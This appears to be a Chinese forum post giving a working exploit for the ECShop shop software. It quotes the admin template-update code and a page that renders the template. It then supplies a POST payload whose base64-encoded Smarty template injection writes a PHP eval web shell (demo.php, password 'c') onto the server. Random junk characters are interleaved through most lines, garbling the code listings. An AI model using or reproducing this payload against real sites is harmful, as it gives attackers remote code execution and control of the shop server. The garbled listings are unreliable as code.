首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板# r% z8 N/ w& }$ [, j
0 b* C3 b# |$ ?而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了; n! y' G3 x! _2 M
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
7 R6 c: x, O* eadmin/template.php
. b* t4 r- z* a: n, h$ F& y' K9 ]& r% `( g0 p2 A
1 if ($_REQUEST['act'] == 'update_library')
. Y/ M/ |, v# C1 O! D0 R1 Y3 n" F; a0 j! v3 B) h3 n
2 - \: E7 F0 {' U1 ]3 \
, t0 J* B% j8 w. u4 E
3 {
2 C" m- O1 o3 [: e7 ~
% z, `3 Z- j5 E7 _/ U3 N( Q# H5 Y4 check_authz_json('library_manage');
% D. r; F9 ]3 r5 f7 w# f/ b5 K6 s! M2 t, p; i; {
5
6 [( R ^1 U$ L9 g/ V8 L' F
+ Z( {4 K! m1 e6 $html = stripslashes(json_str_iconv($_POST['html']));
0 r& Q* e; d L0 i' [8 j' `" W/ D" W: i7 M' V
7 1 |7 g7 C- n' B# y2 L1 D7 A
; o6 }: {' S4 S% s) A Z# _ L/ T" b8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
; P9 b* y) I. e" ]+ X6 Y
! s7 r- u: l, ]3 D) ^9 + s3 l& R8 j6 }' @4 Z1 e$ \
4 r5 H" A+ U& V" N4 _1 k
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 6 Y! h4 N1 Y9 m0 j
% y; M% u9 u& b3 D) @( S11
c a" d$ N! E$ z. O3 f- L' O9 f) k! y8 o2 U2 [
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); ' Q/ ?' a8 }( K/ h: r4 O
$ v. ]5 Q* v( p1 n13
" \/ I2 C# n t* Q9 `* w ?' \! g. b: A
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 $ _' ?9 h* f1 q/ ^
7 ]4 P- k( Z3 ]0 {) V
15 { % q& O4 X6 k6 n" [) F
; q, [. H8 p, u0 F/ D+ X! s: M16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
/ w) Q- J8 N& N$ F( [/ ]+ }( Z5 H& Y3 m* O. y
17 make_json_result('', $_LANG['update_lib_success']); 4 f3 r2 Z8 o* o5 L
& w: g Z2 P- |7 c4 T3 ?18 } , ?- e+ B% x3 y, }( n& \0 t
/ ?1 f- W/ }% g* O0 X, I# q
19 else
0 D P# W/ U9 r$ O( ?* v n! u& ^0 T# I6 B8 _+ `/ D3 q) j
20 { , q# {! g5 T0 \7 A. Z$ q
5 [) v) h3 a$ _4 l2 b5 E21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
, X, ?$ t8 N5 o1 Y% I$ Q: r4 D/ M Q& I! q' L" M; s
22 } ' ~% y1 j( M/ T# m: G" p
: b, C! D4 a& k$ Y23 } ! {! i9 \" |, ?: s# c- C; m
2 B+ I9 a# W; d
那么找个比较方便调用了模板的文件# x4 p+ T5 Y: \& d) |- F
index.php
. f& {4 b ^# A4 e. A" e _8 a0 w: y* @, r
1 if ($act == 'cat_rec') 9 c) e+ X3 ]# Q# D
% V( m2 I3 S' M& _, A1 g3 X2 8 a& r7 J8 G5 @
+ ~$ Z! h, g2 o8 _" S& n3 k3 { + l3 ^9 I' p2 A/ U* T: T
7 j, C# h2 r) d I1 w
4
& M" }: u# U+ G4 A w5 ~' Z; ]2 D7 a- B$ U* ^# v8 E+ v* x. g
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); - d* i- ^. B! G: W% g
9 w: K$ z( U2 a# M6 - V9 @( F' t5 ^( \, C( [
, ~& A' G- {% y1 p9 R+ A2 x7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; ! c" @4 m1 T4 t
* o* E" e; U9 K0 J: k8 . q0 O9 f" A) I3 m
, b8 l9 s: _6 Q" o3 _ a$ V9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; * G( \- W- U7 ] Y& @" t; T
! E4 L* j6 m. e4 \) l' J10 / \3 L& r4 `- L1 {
' ~$ u. v# T: r [. L* z
11 include_once('includes/cls_json.php');
( {& I" @1 q" e% E) G5 u# J
) W" Z4 h1 o" F: t12 . t8 v! _. \$ r1 [4 D+ U1 R
4 j* O4 y0 z8 k3 p/ i$ E
13 $json = new JSON; , v9 D' u3 k; A# ~4 j- R1 U! w
! u, W6 X% ?4 W- n, J
14
% u. O/ y1 S1 g; [. J/ s% D8 a' u t. y% }. X
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
9 `2 Q' z. e7 x/ q8 z
1 w8 D( X1 d+ p, z @% p16
$ M, C" Z% {8 k; i ^
' u& e/ g, h- u) D$ O: Y" j* j! o8 j17 $children = get_children($cat_id); & @1 R: Y+ B2 J6 Y! N& B
9 D8 H' n& ]. O5 f( ]( o18 ! {& Z' H) Z, I" Q. }4 w. A" |
: V* I7 C: P1 ]+ R
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 : I" Z( s+ U4 j7 z3 C1 W; w. h: e; n
' U. N$ r" K$ ^% z
20
* R$ A2 ]; [- p9 x9 W* U) G
4 i) l0 ? Z n3 E; y- F6 E/ T! o6 ]21 $smarty->assign('cat_rec_sign', 1);
3 _$ @) C4 ? w5 t: a Z' O% | o, e {
22 - l- U' Q/ I: r9 P$ e. h
6 I7 m: l$ \# G, q% V; d23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best ; U' i2 u8 {4 p- q: \5 Q9 }* D. A
; S8 [& K. w2 I. g% ^24 9 q% p$ [7 _. W! f2 B& u
?, l$ h |! d& Y
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 9 a1 J& x m9 m1 G( k
) [. I, }; h7 |+ e Z& j" N
26 1 g5 P% |* n, ?
5 ?$ R* I& N# p$ y
27 echo $rec_array[$rec_type]; & x. E5 h" [( Q& ~- s0 j
8 f2 t# }" p# `- @* @' \7 O( J
28
2 P( p' I1 q* V! y: ]& [# k
! p) W- I1 ^- _1 p29 die($json->encode($result)); 7 U& M9 i' o9 ^" [; b
$ U& V( g1 \% k* s8 u+ \* Q30 . ^8 a/ z* J5 O) E+ `1 x t' {8 M
6 g$ X: f3 l2 M" i# v4 [
31 }
5 Q# _9 d% P" F
( p! ~1 y- w% M& k ^那么就有利用方法了6 ~/ N/ W& ~' r2 s ~3 k
post包到http://localhost/ec/admin/template.php?act=update_library: Z* L. `' q u: C
Post内容:
/ g: u+ T3 q; G% q
: J N/ p2 Z5 V; t- v
' X: v J0 b, Q, _: ~' k1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 7 ?5 E2 P& j5 j$ `' R$ e: r4 W
0 U3 i6 _" z1 z$ _. @9 E9 K然后访问http://localhost/ec/index.php?act=cat_rec- m% E: \. o8 ]
]6 C& {. N" d0 y7 P- hshel地址:http://localhost/ec/demo.php! n: `% u& H3 k" Z
密码c z0 ~7 l* A2 N6 c' ]
9 J: S4 `- D; t- g2 ^7 O7 t |